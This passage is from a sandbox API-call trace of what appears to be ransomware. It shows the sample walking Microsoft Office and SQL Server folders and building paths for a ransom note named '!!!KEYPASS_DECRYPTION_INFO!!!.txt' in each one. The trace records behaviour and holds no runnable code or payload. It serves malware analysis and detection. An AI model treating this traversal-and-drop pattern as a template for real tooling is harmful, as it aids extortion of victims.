lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0269.613] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0269.613] CloseHandle (hObject=0xe40) returned 1 [0269.614] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.614] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.614] GetLastError () returned 0x3f0 [0269.614] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft SQL Server\\130\\Shared\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft SQL Server\\130\\Shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.614] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft SQL Server\\130\\Shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.614] GetFileType (hFile=0xe64) returned 0x1 [0269.614] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0269.614] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0269.614] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0269.615] CloseHandle (hObject=0xe64) returned 1 [0269.615] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0269.615] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.615] GetLastError () returned 0x3f0 [0269.615] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft SQL Server\\140\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft SQL Server\\140\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.615] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft SQL Server\\140\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.616] GetFileType (hFile=0xe68) returned 0x1 [0269.617] CloseHandle (hObject=0xe68) returned 1 [0269.617] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.617] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.617] GetLastError () returned 0x3f0 [0269.617] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft SQL Server\\140\\Shared\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft SQL Server\\140\\Shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.617] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft SQL Server\\140\\Shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.618] GetFileType (hFile=0xe6c) returned 0x1 [0269.618] CloseHandle (hObject=0xe6c) returned 1 [0269.619] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0269.619] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.619] GetLastError () returned 0x3f0 [0269.619] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft.NET\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft.NET\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.619] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft.NET\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.619] GetFileType (hFile=0xe70) returned 0x1 [0269.620] CloseHandle (hObject=0xe70) returned 1 [0269.620] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0269.620] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.620] GetLastError () returned 0x3f0 [0269.620] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft.NET\\ADOMD.NET\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft.NET\\ADOMD.NET\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.620] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft.NET\\ADOMD.NET\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.621] GetFileType (hFile=0xe74) returned 0x1 [0269.622] CloseHandle (hObject=0xe74) returned 1 [0269.622] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.622] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.622] GetLastError () returned 0x3f0 [0269.622] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft.NET\\ADOMD.NET\\110\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft.NET\\ADOMD.NET\\110\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.622] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft.NET\\ADOMD.NET\\110\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.623] GetFileType (hFile=0xe78) returned 0x1 [0269.623] CloseHandle (hObject=0xe78) returned 1 [0269.623] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.623] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.623] GetLastError () returned 0x3f0 [0269.624] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft.NET\\ADOMD.NET\\130\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft.NET\\ADOMD.NET\\130\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.624] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft.NET\\ADOMD.NET\\130\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.624] GetFileType (hFile=0xe7c) returned 0x1 [0269.625] CloseHandle (hObject=0xe7c) returned 1 [0269.625] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.625] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.625] GetLastError () returned 0x3f0 [0269.625] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft.NET\\ADOMD.NET\\140\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft.NET\\ADOMD.NET\\140\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.625] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft.NET\\ADOMD.NET\\140\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.626] GetFileType (hFile=0xe84) returned 0x1 [0269.627] CloseHandle (hObject=0xe84) returned 1 [0269.627] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0269.627] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.627] GetLastError () returned 0x3f0 [0269.627] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.627] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.642] GetFileType (hFile=0xe80) returned 0x1 [0269.643] CloseHandle (hObject=0xe80) returned 1 [0269.643] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0269.644] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.644] GetLastError () returned 0x3f0 [0269.644] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.644] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.645] GetFileType (hFile=0xe88) returned 0x1 [0269.646] CloseHandle (hObject=0xe88) returned 1 [0269.646] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0269.646] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.646] GetLastError () returned 0x3f0 [0269.646] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.646] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.647] GetFileType (hFile=0xe8c) returned 0x1 [0269.648] CloseHandle (hObject=0xe8c) returned 1 [0269.648] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.648] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.648] GetLastError () returned 0x3f0 [0269.648] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.648] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.667] GetFileType (hFile=0xe94) returned 0x1 [0269.668] CloseHandle (hObject=0xe94) returned 1 [0269.668] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0269.668] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4f76028 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.668] GetLastError () returned 0x3f0 [0269.668] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.669] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.670] GetFileType (hFile=0xe98) returned 0x1 [0269.670] CloseHandle (hObject=0xe98) returned 1 [0269.671] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0269.671] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4f76028 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.671] GetLastError () returned 0x3f0 [0269.671] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.671] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.672] GetFileType (hFile=0xe9c) returned 0x1 [0269.673] CloseHandle (hObject=0xe9c) returned 1 [0269.673] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0269.673] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39a3018 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.673] GetLastError () returned 0x3f0 [0269.673] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.673] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.675] GetFileType (hFile=0xe90) returned 0x1 [0269.676] CloseHandle (hObject=0xe90) returned 1 [0269.676] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.676] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.676] GetLastError () returned 0x3f0 [0269.676] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\140\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\140\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.676] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\140\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.681] GetFileType (hFile=0xea0) returned 0x1 [0269.682] CloseHandle (hObject=0xea0) returned 1 [0269.682] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0269.682] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4f76028 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.682] GetLastError () returned 0x3f0 [0269.682] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\140\\Cartridges\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\140\\Cartridges\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.683] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\140\\Cartridges\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.688] GetFileType (hFile=0xea4) returned 0x1 [0269.689] CloseHandle (hObject=0xea4) returned 1 [0269.689] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0269.689] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4f76028 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.689] GetLastError () returned 0x3f0 [0269.689] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\140\\Resources\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\140\\Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.689] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\140\\Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.690] GetFileType (hFile=0xea8) returned 0x1 [0269.690] CloseHandle (hObject=0xea8) returned 1 [0269.691] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0269.691] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39a3018 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.691] GetLastError () returned 0x3f0 [0269.691] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\140\\Resources\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\140\\Resources\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.691] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\140\\Resources\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.691] GetFileType (hFile=0xeac) returned 0x1 [0269.692] CloseHandle (hObject=0xeac) returned 1 [0269.692] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0269.692] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.692] GetLastError () returned 0x3f0 [0269.692] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.692] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.694] GetFileType (hFile=0xeb4) returned 0x1 [0269.695] CloseHandle (hObject=0xeb4) returned 1 [0269.695] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0269.695] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.695] GetLastError () returned 0x3f0 [0269.695] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.695] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.857] GetFileType (hFile=0xeb8) returned 0x1 [0269.858] CloseHandle (hObject=0xeb8) returned 1 [0269.893] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.893] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.893] GetLastError () returned 0x3f0 [0269.893] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.893] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.910] GetFileType (hFile=0xebc) returned 0x1 [0269.911] CloseHandle (hObject=0xebc) returned 1 [0270.013] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0270.013] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.013] GetLastError () returned 0x3f0 [0270.013] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.013] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.077] GetFileType (hFile=0xec0) returned 0x1 [0270.079] CloseHandle (hObject=0xec0) returned 1 [0270.087] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0270.087] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39a3018 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.087] GetLastError () returned 0x3f0 [0270.087] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.087] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.088] GetFileType (hFile=0xeb0) returned 0x1 [0270.089] CloseHandle (hObject=0xeb0) returned 1 [0270.089] PeekMessageW (in: 